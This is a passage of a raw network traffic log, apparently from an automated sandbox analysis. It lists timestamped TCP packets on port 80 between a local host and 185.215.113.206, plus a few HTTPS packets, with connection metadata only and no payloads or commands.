Nov 22, 2024 14:43:29.958467960 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.958514929 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.958597898 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.958645105 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.959563971 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.959609032 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.959664106 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.959703922 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.960725069 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.960771084 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.960834980 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.960908890 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.961857080 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.961909056 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.962012053 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.962065935 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.998305082 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.998363972 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.998440027 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.998471975 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.998534918 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.998579979 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.998631001 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.998673916 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.999675035 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.999715090 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.999728918 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.999761105 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.000798941 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.000848055 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.000907898 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.000952005 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.001928091 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.001995087 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.002186060 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.002234936 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.003012896 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.003058910 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.003118992 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.003170967 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.004143000 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.004188061 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.004230976 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.004275084 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.005254030 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.005306005 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.005368948 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.005414009 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.006375074 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.006419897 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.006459951 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.006498098 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.007488966 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.007531881 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.007579088 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.007611990 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.008609056 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.008654118 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.008685112 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.008730888 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.009747028 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.009794950 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.009814978 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.009891033 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.010852098 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.010898113 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.011009932 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.011054039 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.011972904 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.012031078 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.012052059 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.012095928 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.070015907 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.070086956 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.070126057 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.070168972 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.070566893 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.070619106 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.070635080 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.070677042 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.071651936 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.071702003 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.072036028 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.072081089 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.072118044 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.072160959 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.073127031 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.073179007 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.073230982 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.073276043 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.074213982 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.074260950 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.074301004 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.074347019 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.075366020 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.075413942 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.075444937 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.075491905 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.076466084 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.076508999 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.076546907 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.076589108 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.077598095 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.077644110 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.077702999 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.077744961 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.078735113 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.078783035 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.078917980 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.078967094 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.079803944 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.079849958 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.079898119 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.079941034 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.080905914 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.080952883 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.081028938 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.081073999 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.082099915 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.082145929 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.082148075 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.082190990 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.083297014 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.083340883 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.083344936 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.083386898 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.084285021 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.084331989 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.084384918 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.084429979 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.085398912 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.085447073 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.085550070 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.085596085 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.086519003 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.086569071 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.086605072 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.086652040 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.087651968 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.087693930 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.087850094 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.087894917 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.088753939 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.088816881 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.088870049 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.088917017 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.089889050 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.089931965 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.089984894 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.090030909 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.090971947 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.091018915 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.091048002 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.091094971 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.142215014 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.142343044 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.142409086 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.142409086 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.142811060 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.142824888 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.142858982 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.142889023 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.143605947 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.143656015 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.143695116 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.143738985 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.144833088 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.144880056 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.144908905 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.144958973 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.145833969 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.145885944 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.145951986 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.146043062 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.146960974 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.147016048 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.147087097 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.147128105 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.148101091 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.148166895 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.148209095 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.148256063 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.149197102 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.149250031 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.149357080 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.149405003 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.150368929 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.150419950 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.150461912 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.150504112 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.151443005 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.151484013 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.151537895 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.151592016 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.152621031 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.152667046 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.152767897 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.152813911 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.153752089 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.153799057 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.153930902 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.153976917 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.154819965 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.154864073 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.154871941 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.154902935 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.155921936 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.155967951 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.156039953 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.156085968 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.157013893 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.157058001 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.157124996 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.157170057 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.158171892 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.158219099 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.158297062 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.158341885 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.159272909 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.159329891 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.159394026 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.159435987 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.160406113 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.160460949 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.160509109 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.160554886 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.161551952 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.161598921 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.161787033 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.161833048 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.162630081 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.162681103 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.162722111 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.162767887 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.163677931 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.163748026 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.226263046 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.226295948 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.226320982 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.226336002 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.226392984 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.226427078 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.227458954 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.227520943 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.227525949 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.227571964 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.228636980 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.228667974 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.228693962 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.228720903 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.229646921 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.229671001 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.229702950 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.229724884 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.230798006 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.230889082 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.230948925 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.230994940 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.231884956 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.231940031 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.231945992 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.231992006 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.233002901 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.233059883 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.233066082 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.233119965 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.234157085 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.234213114 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.234266043 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.234312057 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.235304117 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.235375881 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.235390902 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.235438108 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.236367941 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.236466885 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.236476898 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.236521959 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.237484932 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.237566948 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.237575054 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.237632036 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.238583088 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.238641024 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.238699913 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.238748074 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.239767075 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.239830971 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.239836931 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.239883900 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.291174889 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.291251898 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.291284084 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.291336060 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.291655064 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.291718006 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.291749001 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.291795015 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.292860031 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.292881966 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.292910099 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.292929888 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.293872118 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.293920994 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.294250011 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.294295073 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.294393063 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.294436932 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.295377970 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.295424938 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.295488119 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.295536995 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.296478033 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.296521902 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.296571970 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.296619892 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.297632933 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.297684908 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.297708988 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.297750950 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.298728943 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.298774958 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.298846960 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.298891068 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.299067974 CET	443	49738	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.299885035 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.299892902 CET	49738	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.299920082 CET	443	49738	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.299946070 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.299977064 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.300019026 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.300417900 CET	49738	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.300425053 CET	443	49738	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.300977945 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.301029921 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.301063061 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.301110983 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.302095890 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.302144051 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.302254915 CET	80	49721	185.215.113.206	192.168.2.6
